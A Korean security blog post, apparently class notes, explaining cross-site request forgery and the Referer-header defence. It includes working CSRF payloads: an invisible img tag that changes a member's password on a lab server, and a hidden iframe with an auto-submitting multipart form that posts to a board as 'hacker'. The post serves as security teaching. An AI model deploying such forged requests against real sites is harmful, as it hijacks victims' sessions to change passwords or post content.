26일차 CSRF

2017. 3. 15. 10:33·정보보안·

* 본 게시물의 내용은 수업에서 배운 것을 정리한 것이므로 악용해서는 안됩니다.

  게시된 내용들은 잘 알려져있는 기술들입니다. 따라서  악용하더라도 쉽게 적발되니

  절대 악용해서는 안됩니다.

--------------------------------------------------------------------------------------------


CSRF ( CROSS SITE REQUEST FORGERY)


사이트에서 제공하는 기능을 신뢰된 사용자의 권한으로 요청하도록 하는 공격


공격자의 악성코드를 읽은 Victim은 자신도 모르게 Request를 서버로 보내게 되고, 서버는 Victim의 권한으로 Request에 대한 처리를 하게 됨.


서버에서 지원하는 모든 기능이 공격범위가 될 수 있음.


Victim에 의해 Request가 발생하기 때문에 공격자의 IP추적이 어렵고

XSS와 달리 자바스크립트를 사용할 수 없는 상황에서도 공격이 가능하다.


조건


사이트에서 제공하는 해당기능의 Request/Response를 분석해야 한다

Session Token만으로 해당기능의 권한을 인증하고 있을 때 가능


정상적인 메시지와 조작된 요청 메시지는 레퍼러 헤더가 다르다 

레퍼러는 이전 페이지의 URL을 가지고 있다

레퍼러만 비교해도 공격을 방어하는데 수월해진다.


패킷을 잡아서 레퍼러를 없앤후에 요청메시지를 보낼 시에 되는지 안되는지 테스트 해본다.

만약 된다면 서버는 레페러가 있던 없던 상관을 안쓴다는 말이 되겠다.






정상적인 메시지 




조작된 메시지








POST의 경우는 Content-Type도 맞춰줘야한다.

위는 urlencoded 방식으로 되있는게 보인다.


이러한 POST 메소드로 요청되는 메시지도 아래 처럼  GET화 해서

CSRF 할수있다


<img src="http://10.10.10.12/login/members_modify_ok.asp?re_url=mem_pwd=hack&mem_email=asd%40asd.asd&tel1=444&tel2=044&tel3=444&hp1=011&hp2=000&hp3=000&zip1=135&zip2=838&addr1=%BC%AD%BF%EF+%B0%AD%B3%B2%B1%B8+%B4%EB%C4%A11%B5%BF+%C1%D6%B0%F8%B0%ED%C3%FE%BE%C6%C6%C4%C6%AE&addr2=hi.hello" width=0 height=0>





이번엔 GET이 아니라 POST를 꼭 사용해야하는 경우이다.





한 게시판의 Write 데이터다.



content-type에 multipart/form-data로 되있다.

그다음에 boundary 문자열이 보이는데 이 문자열은 각각 파트를 나누는 구분점이 된다.



POST http://10.10.10.2/board/board_write_ok.asp


Content-Type: multipart/form-data

name

password

email

subject

tag=T

content


일단 이러한 정보들에 기반한다는 것을 알 수 있다.


Referer를 삭제하고 게시글이 작성이 되는지 확인한다.






이런식으로 활용하 스크립트를 만들 수 있겠다.

submit() 뒤에 :라고 되있는데 ;로 해줘야한다.



* 자동으로 폼 보내고 페이지 그대로 있기




하지만 게시글을 누르면 폼을 수행한 후에 자동으로 리스트로 간다.


왜 그럴까 답은 응답메시지에 있다.








iframe 을 만들어주고 form tagret 을 iframe name인 ifr로 잡아준다.

실제 공격시 iframe  width와 height 은 각각 0 으로 해줘야한다.

위는 테스트 용도이기 때문에, 300으로 잡아주었다.


[


<iframe name="ifr" width=0 height=0></iframe>

 <FORM target="ifr" id="board" METHOD="POST" action="http://www.white.com/basic/greet/online_insert.php" enctype="multipart/form-data">

<INPUT type="hidden" name="name" value="hacker">

<INPUT type="hidden" name="passwd" value="1">

<INPUT type="hidden" name="email" value="hacker@hack.com">

<INPUT type="hidden" name="phone" value="444">

<INPUT type="hidden" name="subject" value="Hi">

<INPUT type="hidden" name="content" value="no system is safe">

</FORM>


<script>document.getElementById("board").submit();</script>



]





이런식으로 독립적으로 동작하게 되기때문에 list로 이동하는 것은 iframe만 동작하게 된다.


폭과 높이를 0 0 으로 준다면은 이런 화면도 안보이니 공격이 자연스러워 보일 것이다.



CSRF One-click Attack


-CSRF 공격 방법 중 One-click Attack은 게시글 자동 생성 후 게시글리스트로 돌아가는 현상을 해결하기 위해, 그리고 script가 제한되어 있는 경우 사용할 수 있는 방법이다.


- One-click Attack을 이용해 게시글 자동 작성 공격을 하라





저작자표시 (새창열림)

'정보보안' 카테고리의 다른 글

28일차 SQL Injection  (0) 2017.03.17
27일차 CSRF, SQL BASIC  (0) 2017.03.16
25일차 XSS webshell  (0) 2017.03.14
24일차 인증공격 XSS  (0) 2017.03.13
23일차 웹보안 정보수집 OWASP  (0) 2017.03.10
'정보보안' 카테고리의 다른 글
  • 28일차 SQL Injection
  • 27일차 CSRF, SQL BASIC
  • 25일차 XSS webshell
  • 24일차 인증공격 XSS
징쟝
징쟝
IT 관련 네트워크 및 기타 자료들을 수집하고 공유하는데 목적이 있음.
  • 징쟝
    네트워커의 보안 티스토리
    징쟝
  • 전체
    오늘
    어제
  • 블로그 메뉴

    • 홈
    • 글쓰기
    • 방명록
    • 분류 전체보기 (148) N
      • 정보보안 (54)
      • 리눅스 (10)
      • Windows (6)
      • Cisco (1)
      • Mikrotik (0)
      • Cyberoam (0)
      • Juniper (6)
      • MRTG (0)
      • Sophos (3)
      • SecuWiz (0)
      • Forti (0)
      • SECUI (1)
      • L4 (3)
      • 파이오링크 (0)
      • 오토핫키 (43)
      • 파이썬 (0)
      • 직장 (0)
      • 개인적인 것들 (9)
      • 그 외의 것들 (7) N
      • 영화 (0)
      • 테스트 (1)
      • 일기장 (0)
      • 쓰레기통 (3)
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    웹해킹
    MySQL
    해킹
    SQL
    인젝션
    보안
    HTML
    NAT
    정보보안
    오토핫키
    web
    spoofing
    웹보안
    php
    CSRF
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
징쟝
26일차 CSRF
상단으로

티스토리툴바